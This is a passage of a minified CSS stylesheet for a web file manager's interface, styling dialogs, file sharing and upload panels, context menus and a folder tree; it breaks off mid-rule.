.aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:345px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:235px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.file_upload{height:385px;padding:5px;margin-right:10px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{height:290px;border:1px solid #ddd;overflow:auto;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{display:block;float:left;text-overflow:ellipsis;height:30px;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;overflow:hidden;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;overflow:hidden;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;float:left;margin-top:-30px;border-radius:0;box-shadow:none;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#abd7fb;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img{width:20px;margin-right:5px;border-radius:4px;pointer-events:none;}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree 